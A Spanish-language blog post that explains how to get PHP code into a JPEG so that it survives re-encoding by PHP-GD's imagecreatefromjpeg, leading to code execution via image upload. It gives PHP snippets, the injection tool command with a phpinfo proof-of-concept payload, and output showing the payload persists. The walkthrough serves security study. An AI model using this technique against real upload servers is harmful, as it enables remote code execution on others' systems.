Inyección de código en imágenes subidas y tratadas con PHP-GD

Actualmente la mayoría de las aplicaciones web que nos permiten subir imágenes recrean las mismas por seguridad. Esto hace por ejemplo inútil inyectar código PHP en los metadatos exif de la imagen ya que el servidor los borrará (muchas veces con la librería PHP-GD). Sin embargo, existen algunas formas de inyectar código PHP directamente en imágenes como se puede ver en los siguientes enlaces:

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg
https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromgif
https://secgeek.net/bookfresh-vulnerability/

Aunque si le habéis echado un vistazo a esos enlaces podréis comprobar que se pueden inyectar pocos caracteres.

Al hilo de esto, tenemos una interesante herramienta de Dylan Leggio (dlegs), un ingeniero de seguridad de Brooklyn:

https://github.com/dlegs/php-jpeg-injector

Para usar esta herramienta tendremos primero que recrear una imagen jpg con php-gd y luego inyectar el payload con el script gd-jpeg.py.

$ file poc.jpg
poc.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 512x512, frames 3

Para el primer paso usamos este mismo código:
<?php
$jpg = imagecreatefromjpeg('poc.jpg');
imagejpeg($jpg, 'exploit.jpg');
?>

Y recreamos la imagen:

$ php poc.php

Luego inyectamos el payload con la herramienta:

$  python gd-jpeg.py exploit.jpg '<?php phpinfo()?>' exploit-payload.jpg
Searching for magic number...
Found magic number.
Injecting payload...
Payload written.

Ahora, para estar seguro de que el payload prevalece después de la recreación, volvemos a lanzar el proceso:
<?php
$jpg = imagecreatefromjpeg('exploit-payload.jpg');
imagejpeg($jpg, 'exploit-payload-gd.jpg');
?>

Y comparamos las imágenes con vbindiff:

$ vbindiff exploit-payload.jpg exploit-payload-gd.jpg


Como veis el payload se ha mantenido incluso después de la recreación de la imagen, por lo que en caso de subirla mantendríamos la posibilidad de ejecutar código. Eso sí, remarcar que esto funcionará en el caso en que el servidor tenga la configuración por defecto en cuanto calidad (-1). Si por ejemplo el servidor convirtiera la imagen con una calidad de 90, el payload se eliminaría, pero bueno, menos da una piedra... ;)

Fuente: https://medium.com/@asdqwedev/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada

Comentarios